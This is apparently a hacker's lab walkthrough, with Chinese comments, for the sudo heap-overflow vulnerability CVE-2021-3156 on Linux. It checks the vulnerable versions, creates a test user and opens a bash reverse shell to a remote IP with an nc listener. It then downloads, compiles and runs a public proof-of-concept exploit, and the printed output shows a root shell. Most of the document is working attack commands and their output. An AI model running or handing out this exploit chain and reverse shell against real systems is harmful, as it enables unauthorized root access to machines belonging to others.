Sudo 1.8.2 - 1.8.31p2Sudo 1.9.0 - 1.9.5p1

sudo --version

sudoedit -s /

root@kali:~# sudoedit -s /sudoedit: /：不是常规文件  #sudoedit: /: not a regular fileroot@kali:~# 

usage: sudoedit [-AknS] [-r role] [-t type] [-C num] [-g group] [-h host] [-p prompt] [-T timeout] [-u user] file

useradd testpasswd test#设置用户密码service ssh start#启动ssh

ssh test@192.168.xx.xx

bash -i >& /dev/tcp/192.168.x.x/996 0>&1 #端口号咋就这样了

nc -lvvp 996

cd /tmpgit clone https://github.com/blasty/CVE-2021-3156.gitmakechmod +x sudo-hax-me-a-sandwich./sudo-hax-me-a-sandwich 1

$ cd /tmp$ pwd/tmp$ git clone https://github.com/blasty/CVE-2021-3156.git正克隆到 'CVE-2021-3156'...remote: Enumerating objects: 50, done.remote: Counting objects: 100% (50/50), done.remote: Compressing objects: 100% (35/35), done.remote: Total 50 (delta 25), reused 38 (delta 15), pack-reused 0接收对象中: 100% (50/50), 8.98 KiB | 836.00 KiB/s, 完成.处理 delta 中: 100% (25/25), 完成.$ cd CVE-2021-3156$ pwd/tmp/CVE-2021-3156$ makerm -rf libnss_Xmkdir libnss_Xgcc -std=c99 -o sudo-hax-me-a-sandwich hax.cgcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c$ ./sudo-hax-me-a-sandwich** CVE-2021-3156 PoC by blasty <[email protected]>  usage: ./sudo-hax-me-a-sandwich <target>  available targets:  ------------------------------------------------------------    0) Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27    1) Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31    2) Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28  ------------------------------------------------------------  manual mode:    ./sudo-hax-me-a-sandwich <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>$ ./sudo-hax-me-a-sandwich 1** CVE-2021-3156 PoC by blasty <[email protected]>using target: Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31 ['/usr/bin/sudoedit'] (56, 54, 63, 212)** pray for your rootshell.. **[+] bl1ng bl1ng! We got it!# iduid=0(root) gid=0(root) groups=0(root),1001(test)# lsMakefile  README.md  brute.sh  hax.c  lib.c  libnss_X  sudo-hax-me-a-sandwich# exit